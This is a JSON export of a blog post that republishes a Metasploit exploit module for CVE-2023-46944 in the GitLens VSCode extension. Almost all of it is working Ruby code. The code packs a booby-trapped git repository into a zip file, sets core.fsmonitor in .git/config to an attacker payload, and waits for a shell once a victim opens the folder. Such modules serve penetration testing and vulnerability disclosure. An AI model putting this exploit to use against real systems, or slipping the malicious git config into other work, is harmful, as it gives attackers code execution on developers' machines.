{"id":56396,"date":"2024-04-23T20:30:43","date_gmt":"2024-04-23T16:30:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178227\/gitlens_local_config_exec.rb.txt"},"modified":"2024-04-23T20:30:43","modified_gmt":"2024-04-23T16:30:43","slug":"gitlens-git-local-configuration-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gitlens-git-local-configuration-execution\/","title":{"rendered":"GitLens Git Local Configuration Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::FILEFORMAT<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;GitLens Git Local Configuration Exec&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git<br \/>commands. A repo may include its own .git folder including a malicious config file to<br \/>execute arbitrary code.<\/p>\n<p>Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # Metasploit module<br \/>&#8216;Paul Gerste&#8217;, # Original advisory and PoC<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.sonarsource.com\/blog\/vscode-security-markdown-vulnerabilities-in-extensions\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.sonarsource.com\/blog\/securing-developer-tools-git-integrations\/&#8217;], # git hook<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/gitkraken\/vscode-gitlens\/commit\/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440&#8217;], # patch<br \/>[&#8216;CVE&#8217;, &#8216;2023-46944&#8217;]],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;,<br \/>&#8216;DisablePayloadHandler&#8217; =&gt; false,<br \/>&#8216;FILENAME&#8217; =&gt; &#8216;repo.zip&#8217;,<br \/>&#8216;WfsDelay&#8217; =&gt; 3_600 # 1hr<br \/>},<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Linux\/Unix (In-Memory)&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ],<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/>},<br \/>],<br \/># There may be a size limit, but using fetch payloads works great<br \/>[<br \/>&#8216;PowerShell (In-Memory)&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8216;&#8221;&amp;&#8217;<br \/>}<br \/>}<br \/>],<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away<br \/>},<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-11-14&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;README&#8217;, [true, &#8216;The contents of the readme markdown file&#8217;, &#8216;# Test&#8217;])<br \/>])<br \/>end<\/p>\n<p>def readme<br \/>datastore[&#8216;README&#8217;].to_s<br \/>end<\/p>\n<p>def git_head<br \/>&#8216;ref: refs\/heads\/master&#8217;<br \/>end<\/p>\n<p>def git_config<br \/>%([core]repositoryformatversion = 0<br \/>filemode = true<br \/>bare = false<br \/>logallrefupdates = true<br \/>fsmonitor = &#8220;#{payload.encoded} #&#8221;) # without the trailing # windows tacks on &lt;space&gt;&lt;int, 0&gt;&lt;space&gt;&lt;a long number&gt;. so this avoids corrupting the payload<br \/>end<\/p>\n<p>def exploit<br \/># Create malicious zip archive containing our git repo<br \/>files =<br \/>[<br \/>{ data: readme, fname: &#8216;README.md&#8217; },<br \/>{ data: git_config, fname: &#8216;.git\/config&#8217; },<br \/>{ data: git_head, fname: &#8216;.git\/HEAD&#8217; },<br \/>{ data: &#8221;, fname: &#8216;.git\/objects\/info\/&#8217; },<br \/>{ data: &#8221;, fname: &#8216;.git\/objects\/pack\/&#8217; },<br \/>{ data: &#8221;, fname: &#8216;.git\/refs\/heads\/&#8217; },<br \/>{ data: &#8221;, fname: &#8216;.git\/refs\/tags\/&#8217; },<br \/>]\n<p>zip = Msf::Util::EXE.to_zip(files)<\/p>\n<p>file_create(zip)<br \/>print_status(&#8216;Waiting for shell&#8217;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;GitLens Git Local Configuration Exec&#8217;,&#8216;Description&#8217; =&gt; %q{GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute gitcommands. A repo may include its own .git folder including a malicious config file toexecute arbitrary code. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56396","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56396"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56396\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}